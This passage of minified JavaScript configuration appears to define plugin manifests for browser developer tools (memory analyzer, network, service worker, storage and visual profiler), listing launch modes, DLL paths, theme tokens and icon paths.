Analyzer",version:"1.1",enabled:!0,pluginId:5,scriptId:"memoryAnalyzer",launchers:[{mode:"Chooser",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]},{mode:"Classic",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]},{mode:"Edge",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]},{mode:"WWA",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]},{mode:"ChooserViaVS",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]}],f12:{start_url:"memoryAnalyzer.html",file_aliases:{"DiagnosticsHub.DataWarehouseHost":{path:"DiagnosticsHub.ScriptedSandboxPlugin.dll"},MemoryAnalyzerExtension:{path:"MemoryAnalyzer.dll"},PerformanceTraceExtension:{path:"PerformanceTrace.dll",optional:!0}},localized_tab_resource:"F12ToolTitle",localized_tooltip_id:"MemoryTooltip",resource_aliases:{MemoryAnalyzer:{is_default:!0},DiagnosticsHubControlsResources:{},Common:{}},themed_images:{"f12-image-host-error-alert":{bitmap_source:"..\\frontend\\host\\api\\data\\i_alerterror.png",background_color:"plugin-font-editor-background-color"},"f12-image-host-info-alert":{bitmap_source:"..\\frontend\\host\\api\\data\\i_alertinfo.png",background_color:"plugin-font-editor-background-color"},"f12-image-host-error-close":{bitmap_source:"..\\frontend\\host\\api\\data\\closeErrorBox.png",background_color:"plugin-font-editor-background-color"},"f12-image-host-error-help":{bitmap_source:"..\\frontend\\host\\api\\data\\helpErrorBox.png",background_color:"plugin-font-editor-background-color"},"f12-image-toolbar-open":{bitmap_source:"..\\common\\perftools\\images\\i_open.png",background_color:"plugin-background-color"},"f12-image-toolbar-save":{bitmap_source:"..\\common\\perftools\\images\\i_save.png",background_color:"plugin-background-color"},"f12-image-toolbar-snapshot":{bitmap_source:"..\\memoryanalyzer\\images\\i_snapshot.png",background_color:"plugin-background-color"},"f12-image-toolbar-start":{bitmap_source:"..\\common\\perftools\\images\\i_start.png",background_color:"plugin-background-color"},"f12-image-toolbar-stop":{bitmap_source:"..\\common\\perftools\\images\\i_stop.png",background_color:"plugin-background-color"},"image-checkmark":{bitmap_source:"..\\common\\images\\checkmark.png",background_color:"plugin-memory-drop-down-button"},"image-detached-dom-node-warning":{bitmap_source:"..\\memoryanalyzer\\images\\i_info.png",background_color:"plugin-background-color"},"image-heap-decrease":{bitmap_source:"..\\memoryanalyzer\\images\\status_heap_decrease.png",background_color:"plugin-background-color"},"image-heap-increase":{bitmap_source:"..\\memoryanalyzer\\images\\status_heap_increase.png",background_color:"plugin-background-color"},"image-settings":{bitmap_source:"..\\memoryanalyzer\\images\\i_table_options.png",background_color:"plugin-background-color"},"image-snapshot":{bitmap_source:"..\\memoryanalyzer\\images\\takeSnapshot.png",background_color:"plugin-background-color"},"image-sort-down":{bitmap_source:"..\\common\\perftools\\images\\i_sort_down.png",background_color:"plugin-background-color"},"image-sort-up":{bitmap_source:"..\\common\\perftools\\images\\i_sort_up.png",background_color:"plugin-background-color"},"image-warning":{bitmap_source:"..\\common\\images\\i_warning.png",background_color:"plugin-background-color"},"vs-image-graph-user-mark":{bitmap_source:"..\\common\\perftools\\images\\i_usermark.png",background_color:"plugin-background-color"},"vs-image-graph-app-event":{bitmap_source:"..\\common\\perftools\\images\\i_appevent.png",background_color:"plugin-background-color"},"vs-image-graph-aggregated-event":{bitmap_source:"..\\common\\perftools\\Images\\CustomMark5_18x.png",background_color:"plugin-background-color"},"vs-image-icon-tree-expanded":{bitmap_source:"..\\common\\images\\itemExpandedIcon.png",background_color:"plugin-background-color"},"vs-image-icon-tree-collapsed":{bitmap_source:"..\\common\\images\\itemCollapsedIcon.png",background_color:"plugin-background-color"}}},file_aliases:{MemoryAnalyzerExtension:{path_x86:"HtmlTools\\MemoryAnalyzer\\x86\\MemoryAnalyzer.dll",path_amd64:"HtmlTools\\MemoryAnalyzer\\amd64\\MemoryAnalyzer.dll"},PerformanceTraceExtension:{path:"HtmlTools\\PerformanceTrace.dll",optional:!0}}};var d={start_url:"Network/network.html",domain:"http://microsoft.com",name:"Network Tool",version:"1.1",enabled:!0,pluginId:9,scriptId:"network",launchers:[{mode:"Chooser",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]},{mode:"Classic",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]},{mode:"Edge",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]},{mode:"WWA",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]},{mode:"ChooserViaVS",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]}],f12:{localized_tab_resource:"F12ToolTitle",localized_tooltip_id:"NetworkTooltip",resource_aliases:{Network:{is_default:!0},Common:{},DiagnosticsHubControlsResources:{}},themed_images:{"plugin-common-image-find-next":{bitmap_source:"../Common/images/i_next.png",background_color:"plugin-searchcontrol-mouseover-background-background-color"},"plugin-common-image-find-previous":{bitmap_source:"../Common/images/i_previous.png",background_color:"plugin-searchcontrol-mouseover-background-background-color"},"vs-image-icon-tree-collapsed":{bitmap_source:"../Common/images/itemCollapsedIcon.png",background_color:"plugin-background-color"},"vs-image-icon-tree-expanded":{bitmap_source:"../Common/images/itemExpandedIcon.png",background_color:"plugin-background-color"},"image-toggle-pretty-print":{bitmap_source:"..\\Common\\images\\togglePrettyPrint.png",background_color:"plugin-font-editor-background-color"},"image-toggle-word-wrap":{bitmap_source:"..\\Common\\images\\toggleWordWrap.png",background_color:"plugin-font-editor-background-color"},"image-bypass-serviceworkers":{bitmap_source:"..\\network\\images\\i_bypassServiceWorkers.png",background_color:"plugin-background-color"},"image-checkered-background":{bitmap_source:"..\\Common\\perftools\\images\\i_checkered_background.png",background_color:"plugin-background-color"},"image-clear-cache":{bitmap_source:"..\\network\\images\\i_clearCache.png",background_color:"plugin-background-color"},"image-clear-cookies":{bitmap_source:"..\\network\\images\\i_clearCookies.png",background_color:"plugin-background-color"},"image-clear-on-navigate":{bitmap_source:"..\\network\\images\\i_clearOnNavigate.png",background_color:"plugin-background-color"},"image-clear-session":{bitmap_source:"..\\network\\images\\i_clearSession.png",background_color:"plugin-background-color"},"image-filtering-options":{bitmap_source:"..\\common\\images\\i_filtering_options.png",background_color:"plugin-background-color"},"image-open":{bitmap_source:"..\\common\\perftools\\images\\i_open.png",background_color:"plugin-background-color"},"image-refresh-server":{bitmap_source:"..\\network\\images\\i_refreshServer.png",background_color:"plugin-background-color"},"image-save":{bitmap_source:"..\\common\\perftools\\images\\i_save.png",background_color:"plugin-background-color"},"image-start":{bitmap_source:"..\\common\\perftools\\images\\i_start.png",background_color:"plugin-background-color"},"image-stop":{bitmap_source:"..\\common\\perftools\\images\\i_stop.png",background_color:"plugin-background-color"},"f12-network-image-status-ok":{bitmap_source:"..\\network\\images/NetworkStatus-OK.png",background_color:"plugin-background-color"},"f12-network-image-status-error":{bitmap_source:"..\\network\\images/NetworkStatus-Error.png",background_color:"plugin-background-color"},"f12-network-image-status-warning":{bitmap_source:"..\\network\\images/NetworkStatus-Warning.png",background_color:"plugin-background-color"},"vs-image-graph-user-mark":{bitmap_source:"..\\common\\perftools\\images/i_usermark.png",background_color:"plugin-background-color"},"vs-image-graph-app-event":{bitmap_source:"..\\common\\perftools\\images/i_appevent.png",background_color:"plugin-background-color"},"vs-image-graph-aggregated-event":{bitmap_source:"..\\common\\perftools\\images/CustomMark5_18x.png",background_color:"plugin-background-color"}},file_aliases:{"DiagnosticsHub.DataWarehouseHost":{path:"DiagnosticsHub.ScriptedSandboxPlugin.dll"}}},vs:{resource_aliases:{Network:{type:"Embedded",name:"Microsoft.VisualStudio.WebClient.Diagnostics.HtmlToolHost",path:"Microsoft.VisualStudio.WebClient.Diagnostics.HtmlToolHost.Resources.Network.Resources",is_default:!0},Common:{type:"Embedded",name:"Microsoft.VisualStudio.WebClient.Diagnostics.HtmlToolHost",path:"Microsoft.VisualStudio.WebClient.Diagnostics.HtmlToolHost.Resources.Common.Resources"},DiagnosticsHubControlsResources:{path:"..\\..\\..\\..\\Platform\\DiagnosticsHub\\WebViews\\DiagnosticsHub.Javascript.Controls.ScriptResources"}},guid_symbols:{guidShellStandardSet:"5efc7975-14bc-11cf-9b2b-00aa00573819"},command_aliases:{find:{guid:"guidShellStandardSet",id:97,focus:!0}},theme_token_aliases:{"diagnostics-host-ruler-tickmark":{category:"f8a8b2a5-dd35-43f6-a382-fd6a61325c22",key_type:"BackgroundColor",name:"RulerTickmark"},"f12-toolbar-button-hover-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"CommandBarMouseOverBackgroundBegin"},"f12-toolbar-button-hover-text-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"CommandBarTextHover"},"f12-toolbar-button-selected-border-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"CommandBarSelectedBorder"},"f12-toolbar-button-selected-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"CommandBarSelected"},"f12-toolbar-button-selected-text-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"CommandBarTextSelected"},"f12-toolbar-button-pressed-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"CommandBarMouseDownBackgroundBegin"},"vs-command-bar-options-background-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"CommandBarOptionsBackground"},"vs-tool-window-text-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"ToolWindowText"},"plugin-border-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"ActiveBorder"},"plugin-editor-scrollbar-marker-search-result-color":{category:"f8a8b2a5-dd35-43f6-a382-fd6a61325c22",key_type:"BackgroundColor",name:"Border"},"plugin-menucontrol-background-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"Menu"},"plugin-network-grid-border-color":{category:"634eef98-6af2-4f63-8d9f-36351e18b606",key_type:"BackgroundColor",name:"GridCellBorder"},"plugin-network-grid-cell-odd-background-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"ToolWindowBackground"},"plugin-network-grid-cell-even-background-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"ToolWindowBackground"},"plugin-network-grid-column-header-background-color":{category:"634eef98-6af2-4f63-8d9f-36351e18b606",key_type:"BackgroundColor",name:"NetworkHeaderBackground"},"plugin-network-grid-path-color":{category:"2AA714AE-53BE-4393-84E0-DC95B57A1891",key_type:"ForegroundColor",name:"Console Warning Text"},"plugin-network-grid-path-color-highlighted":{category:"634eef98-6af2-4f63-8d9f-36351e18b606",key_type:"ForegroundColor",name:"NetworkGridSecondaryHighlighted"},"plugin-network-grid-path-color-selected":{category:"634eef98-6af2-4f63-8d9f-36351e18b606",key_type:"ForegroundColor",name:"NetworkGridSecondarySelected"},"plugin-network-grid-response-cache-color":{category:"2AA714AE-53BE-4393-84E0-DC95B57A1891",key_type:"ForegroundColor",name:"Console Warning Text"},"plugin-network-grid-response-selected-cache-color":{category:"634eef98-6af2-4f63-8d9f-36351e18b606",key_type:"ForegroundColor",name:"NetworkCacheSelectedText"},"plugin-network-grid-response-blur-cache-color":{category:"634eef98-6af2-4f63-8d9f-36351e18b606",key_type:"ForegroundColor",name:"NetworkCacheBlurText"},"plugin-network-grid-response-error-color":{category:"2AA714AE-53BE-4393-84E0-DC95B57A1891",key_type:"ForegroundColor",name:"Console Error Text"},"plugin-network-grid-response-selected-error-color":{category:"634eef98-6af2-4f63-8d9f-36351e18b606",key_type:"ForegroundColor",name:"NetworkErrorSelectedText"},"plugin-network-grid-response-blur-error-color":{category:"634eef98-6af2-4f63-8d9f-36351e18b606",key_type:"ForegroundColor",name:"NetworkErrorBlurText"},"plugin-network-toolbar-button-text-color":{category:"634eef98-6af2-4f63-8d9f-36351e18b606",key_type:"ForegroundColor",name:"NetworkToolbarButtonTextColor"},"plugin-network-toolbar-button-hover-text-color":{category:"634eef98-6af2-4f63-8d9f-36351e18b606",key_type:"ForegroundColor",name:"NetworkToolbarButtonHoverTextColor"},"plugin-network-toolbar-button-popup-text-color":{category:"634eef98-6af2-4f63-8d9f-36351e18b606",key_type:"ForegroundColor",name:"NetworkToolbarButtonPopupTextColor"},"plugin-network-toolbar-button-pressed-text-color":{category:"634eef98-6af2-4f63-8d9f-36351e18b606",key_type:"ForegroundColor",name:"NetworkToolbarButtonPressedTextColor"},"plugin-network-splitter":{category:"634eef98-6af2-4f63-8d9f-36351e18b606",key_type:"BackgroundColor",name:"Splitter"},"plugin-network-tabpane-key-color":{category:"2AA714AE-53BE-4393-84E0-DC95B57A1891",key_type:"ForegroundColor",name:"Console Warning Text"},"plugin-network-tabpane-value-color":{category:"624ed9c3-bdfd-41fa-96c3-7c824ea32e3d",key_type:"BackgroundColor",name:"ToolWindowText"},"plugin-searchcontrol-selection-color":{category:"f1095fad-881f-45f1-8580-589e10325eb8",key_type:"BackgroundColor",name:"Selection"},"plugin-searchcontrol-unfocused-watermark-text-color":{category:"f1095fad-881f-45f1-8580-589e10325eb8",key_type:"BackgroundColor",name:"UnfocusedWatermarkText"},"plugin-searchcontrol-unfocused-background-color":{category:"f1095fad-881f-45f1-8580-589e10325eb8",key_type:"BackgroundColor",name:"Unfocused"},"plugin-searchcontrol-unfocused-border-color":{category:"f1095fad-881f-45f1-8580-589e10325eb8",key_type:"BackgroundColor",name:"UnfocusedBorder"},"plugin-searchcontrol-mouseover-watermark-text-color":{category:"f1095fad-881f-45f1-8580-589e10325eb8",key_type:"BackgroundColor",name:"MouseOverWatermarkText"},"plugin-searchcontrol-mouseover-background-background-color":{category:"f1095fad-881f-45f1-8580-589e10325eb8",key_type:"BackgroundColor",name:"MouseOverBackground"},"plugin-searchcontrol-mouseover-background-foreground-color":{category:"f1095fad-881f-45f1-8580-589e10325eb8",key_type:"ForegroundColor",name:"MouseOverBackground"},"plugin-searchcontrol-mouseover-border-color":{category:"f1095fad-881f-45f1-8580-589e10325eb8",key_type:"BackgroundColor",name:"MouseOverBorder"},"plugin-theme-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"ForegroundColor",name:"ThemeColor"},"plugin-font-editor-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"ForegroundColor",name:"PluginFontEditorColor"},"monaco-gotoline-background-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"BackgroundColor",name:"MonacoGotolineBackgroundColor"},"monaco-gotoline-focused-background-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"BackgroundColor",name:"MonacoGotolineFocusedBackgroundColor"},"monaco-gotoline-hover-background-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"BackgroundColor",name:"MonacoGotolineHoverBackgroundColor"},"monaco-gotoline-selected-background-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"BackgroundColor",name:"MonacoGotolineSelectedBackgroundColor"},"plugin-editor-selected-text-background-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"BackgroundColor",name:"PluginEditorSelectedTextBackgroundColor"},"plugin-font-console-error-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"ForegroundColor",name:"PluginFontConsoleErrorColor"},"plugin-font-console-info-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"ForegroundColor",name:"PluginFontConsoleInfoColor"},"plugin-font-console-input-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"ForegroundColor",name:"PluginFontConsoleInputColor"},"plugin-font-console-warning-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"ForegroundColor",name:"PluginFontConsoleWarningColor"},"plugin-font-editor-breakpoint-background-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"BackgroundColor",name:"PluginFontEditorBreakpointBackgroundColor"},"plugin-font-editor-comment-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"ForegroundColor",name:"PluginFontEditorCommentColor"},"plugin-font-editor-css-name-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"ForegroundColor",name:"PluginFontEditorCssNameColor"},"plugin-font-editor-css-selector-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"ForegroundColor",name:"PluginFontEditorCssSelectorColor"},"plugin-font-editor-css-value-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"ForegroundColor",name:"PluginFontEditorCssValueColor"},"plugin-font-editor-erroradornment-background-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"BackgroundColor",name:"PluginFontEditorErroradornmentBackgroundColor"},"plugin-font-editor-erroradornment-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"ForegroundColor",name:"PluginFontEditorErroradornmentColor"},"plugin-font-editor-html-attribute-name-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"ForegroundColor",name:"PluginFontEditorHtmlAttributeNameColor"},"plugin-font-editor-html-attribute-value-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"ForegroundColor",name:"PluginFontEditorHtmlAttributeValueColor"},"plugin-font-editor-html-element-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"ForegroundColor",name:"PluginFontEditorHtmlElementColor"},"plugin-font-editor-html-tag-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"ForegroundColor",name:"PluginFontEditorHtmlTagColor"},"plugin-font-editor-identifier-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"ForegroundColor",name:"PluginFontEditorIdentifierColor"},"plugin-font-editor-instruction-pointer-background-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"BackgroundColor",name:"PluginFontEditorInstructionPointerBackgroundColor"},"plugin-font-editor-keyword-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"ForegroundColor",name:"PluginFontEditorKeywordColor"},"plugin-font-editor-literal-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"ForegroundColor",name:"PluginFontEditorLiteralColor"},"plugin-font-editor-margin-background-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"BackgroundColor",name:"PluginFontEditorMarginBackgroundColor"},"plugin-font-editor-margin-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"ForegroundColor",name:"PluginFontEditorMarginColor"},"plugin-font-editor-number-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"ForegroundColor",name:"PluginFontEditorNumberColor"},"plugin-font-editor-search-result-background-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"BackgroundColor",name:"PluginFontEditorSearchResultBackgroundColor"},"plugin-font-editor-string-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"ForegroundColor",name:"PluginFontEditorStringColor"},"plugin-highlight-border-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"ForegroundColor",name:"PluginHighlightBorderColor"},"plugin-tab-header-hover-background-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"BackgroundColor",name:"PluginTabHeaderHoverBackgroundColor"},"plugin-word-highlight-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"ForegroundColor",name:"PluginWordHighlightColor"},"plugin-word-highlight-strong-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"ForegroundColor",name:"PluginWordHighlightStrongColor"},"vs-drop-shadow-background-color":{category:"ca939bd0-e6fd-47f6-8a98-effc40dfab02",key_type:"BackgroundColor",name:"VsDropShadowBackgroundColor"}},themed_images:{"plugin-common-image-find-next":{bitmap_source:"Common\\images\\i_next.png",background_color:"plugin-textbox-background-color"},"plugin-common-image-find-previous":{bitmap_source:"Common\\images\\i_previous.png",background_color:"plugin-textbox-background-color"},"vs-image-icon-tree-collapsed":{bitmap_source:"Common\\images\\itemCollapsedIcon.png",background_color:"plugin-background-color"},"vs-image-icon-tree-expanded":{bitmap_source:"Common\\images\\itemExpandedIcon.png",background_color:"plugin-background-color"},"image-toggle-pretty-print":{bitmap_source:"Common\\images\\togglePrettyPrint.png",background_color:"plugin-background-color"},"image-toggle-word-wrap":{bitmap_source:"Common\\images\\toggleWordWrap.png",background_color:"plugin-background-color"},"image-clear-cache":{bitmap_source:"Network\\images\\i_clearCache.png",background_color:"plugin-background-color"},"image-clear-cookies":{bitmap_source:"Network\\images\\i_clearCookies.png",background_color:"plugin-background-color"},"image-clear-on-navigate":{bitmap_source:"Network\\images\\i_clearOnNavigate.png",background_color:"plugin-background-color"},"image-clear-session":{bitmap_source:"Network\\images\\i_clearSession.png",background_color:"plugin-background-color"},"image-filtering-options":{bitmap_source:"Common\\images\\i_filtering_options.png",background_color:"plugin-background-color"},"image-open":{bitmap_source:"Common\\Perftools\\images\\i_open.png",background_color:"plugin-background-color"},"image-refresh-server":{bitmap_source:"Network\\images\\i_refreshServer.png",background_color:"plugin-background-color"},"image-save":{bitmap_source:"Common\\Perftools\\images\\i_save.png",background_color:"plugin-background-color"},"image-start":{bitmap_source:"Common\\Perftools\\images\\i_start.png",background_color:"plugin-background-color"},"image-stop":{bitmap_source:"Common\\Perftools\\images\\i_stop.png",background_color:"plugin-background-color"},"f12-network-image-status-ok":{bitmap_source:"Network\\Images\\NetworkStatus-OK.png",background_color:"plugin-background-color"},"f12-network-image-status-error":{bitmap_source:"Network\\Images\\NetworkStatus-Error.png",background_color:"plugin-background-color"},"f12-network-image-status-warning":{bitmap_source:"Network\\Images\\NetworkStatus-Warning.png",background_color:"plugin-background-color"},"vs-image-graph-user-mark":{bitmap_source:"Common\\Perftools\\Images\\i_usermark.png",background_color:"plugin-background-color"},"vs-image-graph-app-event":{bitmap_source:"Common\\Perftools\\Images\\i_appevent.png",background_color:"plugin-background-color"},"vs-image-graph-aggregated-event":{bitmap_source:"Common\\Perftools\\Images\\CustomMark5_18x.png",background_color:"plugin-background-color"}}}};var h={start_url:"serviceworker.html",domain:"http://microsoft.com",name:"ServiceWorker",version:"1.0",enabled:!0,pluginId:13,scriptId:"serviceworker",launchers:[{mode:"Chooser",hostTypes:["Tab"]},{mode:"Classic",hostTypes:["Tab"]},{mode:"Edge",hostTypes:["Tab"]},{mode:"WWA",hostTypes:["Tab"]}],f12:{localized_tab_resource:"ServiceWorkerLabel",localized_tooltip_id:"ServiceWorkerLabel",resource_aliases:{ServiceWorker:{is_default:!0},Common:{}},themed_images:{"f12-serviceworker-image-service-worker-node":{bitmap_source:"..\\serviceworker\\images\\serviceworkericon.png",background_color:"plugin-font-editor-background-color"},"f12-serviceworker-images-item-collapsed":{bitmap_source:"..\\Common\\images\\itemCollapsedIcon.png",background_color:"plugin-font-editor-background-color"},"f12-serviceworker-images-item-expanded":{bitmap_source:"..\\Common\\images\\itemExpandedIcon.png",background_color:"plugin-font-editor-background-color"}}},file_aliases:{PerformanceTraceExtension:{path:"PerformanceTrace.dll",optional:!0}}};var p={start_url:"storage.html",domain:"http://microsoft.com",name:"Storage",version:"1.0",enabled:!0,pluginId:12,scriptId:"storage",launchers:[{mode:"Chooser",hostTypes:["Tab","ExtensionBackground","ExtensionPopup"]},{mode:"Classic",hostTypes:["Tab","ExtensionBackground","ExtensionPopup"]},{mode:"Edge",hostTypes:["Tab","ExtensionBackground","ExtensionPopup"]},{mode:"WWA",hostTypes:["Tab","ExtensionBackground","ExtensionPopup"]}],f12:{localized_tab_resource:"StorageTool",localized_tooltip_id:"StorageTool",resource_aliases:{Storage:{is_default:!0},Common:{}},themed_images:{"f12-storage-image-cache-node":{bitmap_source:"..\\storage\\images\\cacheIcon.png",background_color:"plugin-font-editor-background-color"},"f12-storage-toolbar-clear-cookies":{bitmap_source:"..\\storage\\images\\clearCookies.png",background_color:"plugin-font-editor-background-color"},"f12-storage-toolbar-clear-session-cookies":{bitmap_source:"..\\storage\\images\\clearSessionCookies.png",background_color:"plugin-font-editor-background-color"},"f12-storage-image-cookies-node":{bitmap_source:"..\\storage\\images\\cookies.png",background_color:"plugin-font-editor-background-color"},"f12-storage-image-file-picker":{bitmap_source:"..\\Common\\images\\filepicker.png",background_color:"plugin-font-editor-background-color"},"f12-storage-image-local-storage-node":{bitmap_source:"..\\storage\\images\\localStorage.png",background_color:"plugin-font-editor-background-color"},"f12-storage-image-grid-header-httpOnly":{bitmap_source:"..\\storage\\images\\gridHeaderHttpOnly.png",background_color:"plugin-font-editor-background-color"},"f12-storage-image-grid-header-secure":{bitmap_source:"..\\storage\\images\\gridHeaderSecure.png",background_color:"plugin-font-editor-background-color"},"f12-storage-image-tab-control-close":{bitmap_source:"..\\Common\\images\\tabclose.png",background_color:"plugin-font-editor-background-color"},"vs-image-icon-tree-collapsed":{bitmap_source:"..\\Common\\images\\itemCollapsedIcon.png",background_color:"plugin-background-color"},"vs-image-icon-tree-expanded":{bitmap_source:"..\\Common\\images\\itemExpandedIcon.png",background_color:"plugin-background-color"},"f12-storage-toolbar-button-image-resource-grid-refresh":{bitmap_source:"..\\Common\\images\\refreshState.png",background_color:"plugin-font-editor-background-color"},"f12-storage-toolbar-button-image-resource-grid-simulateCap":{bitmap_source:"..\\Common\\images\\forceStorageCapState.png",background_color:"plugin-font-editor-background-color"},"f12-storage-image-tab-control-next":{bitmap_source:"..\\Common\\images\\debuggerNextTab.png",background_color:"plugin-font-editor-background-color"},"f12-storage-image-tab-control-previous":{bitmap_source:"..\\Common\\images\\debuggerPrevTab.png",background_color:"plugin-font-editor-background-color"},"f12-storage-images-item-collapsed":{bitmap_source:"..\\Common\\images\\itemCollapsedIcon.png",background_color:"plugin-font-editor-background-color"},"f12-storage-images-item-expanded":{bitmap_source:"..\\Common\\images\\itemExpandedIcon.png",background_color:"plugin-font-editor-background-color"}}},file_aliases:{PerformanceTraceExtension:{path:"PerformanceTrace.dll",optional:!0}}};var m={start_url:"VisualProfiler\\VisualProfiler.html",domain:"http://microsoft.com",name:"JavaScript Visual Profiler",version:"1.1",enabled:!0,pluginId:6,scriptId:"visualProfiler",launchers:[{mode:"Chooser",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]},{mode:"Classic",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]},{mode:"Edge",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]},{mode:"WWA",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]},{mode:"ChooserViaVS",hostTypes:["Tab","ExtensionBackground","ExtensionPopup","ServiceWorker"]}],f12:{start_url:"VisualProfiler.html",file_aliases:{"DiagnosticsHub.DataWarehouseHost":{path:"DiagnosticsHub.ScriptedSandboxPlugin.dll"},PerformanceTraceExtension:{path:"PerformanceTrace.dll",optional:!0}},localized_tab_resource:"F12ToolTitle",localized_tooltip_id:"VisualProfilerTooltip",resource_aliases:{VisualProfiler:{is_default:!0},Common:{},DiagnosticsHubControlsResources:{}},themed_images:{"f12-image-host-error-alert":{bitmap_source:"..\\pluginhost\\theme\\i_alerterror.png",background_color:"plugin-font-editor-background-color"},"f12-image-host-info-alert":{bitmap_source:"..\\pluginhost\\theme\\i_alertinfo.png",background_color:"plugin-font-editor-background-color"},"f12-image-host-error-close":{bitmap_source:"..\\pluginhost\\theme\\closeErrorBox.png",background_color:"plugin-font-editor-background-color"},"f12-image-host-error-help":{bitmap_source:"..\\pluginhost\\theme\\helpErrorBox.png",background_color:"plugin-font-editor-background-color"},"f12-image-contextmenu-chartzoom-in":{bitmap_source:"..\\visualprofiler\\images\\i_f12_context_chartzoom_in.png",background_color:"plugin-background-color"},"f12-image-contextmenu-chartzoom-in-disabled":{bitmap_source:"..\\visualprofiler\\images\\i_f12_context_chartzoom_in_disabled.png",background_color:"plugin-background-color"},"f12-image-contextmenu-chartzoom-reset":{bitmap_source:"..\\visualprofiler\\images\\i_f12_context_chartzoom_reset.png",background_color:"plugin-background-color"},"f12-image-contextmenu-chartzoom-reset-disabled":{bitmap_source:"..\\visualprofiler\\images\\i_f12_context_chartzoom_reset_disabled.png",background_color:"plugin-background-color"},"f12-image-contextmenu-chartselection-clear":{bitmap_source:"..\\visualprofiler\\images\\i_f12_context_chartselection_clear.png",background_color:"plugin-background-color"},"f12-image-contextmenu-chartselection-clear-disabled":{bitmap_source:"..\\visualprofiler\\images\\i_f12_context_chartselection_clear_disabled.png",background_color:"plugin-background-color"},"f12-image-toolbar-chartzoom-in":{bitmap_source:"..\\visualprofiler\\images\\i_f12_chartzoom_in.png",background_color:"plugin-background-color"},"f12-image-toolbar-chartzoom-reset":{bitmap_source:"..\\visualprofiler\\images\\i_f12_chartzoom_reset.png",background_color:"plugin-background-color"},"f12-image-toolbar-chartselection-clear":{bitmap_source:"..\\visualprofiler\\images\\i_f12_chartselection_clear.png",background_color:"plugin-background-color"},"f12-image-toolbar-open":{bitmap_source:"..\\common\\perftools\\images\\i_open.png",background_color:"plugin-background-color"},"f12-image-toolbar-save":{bitmap_source:"..\\common\\perftools\\images\\i_s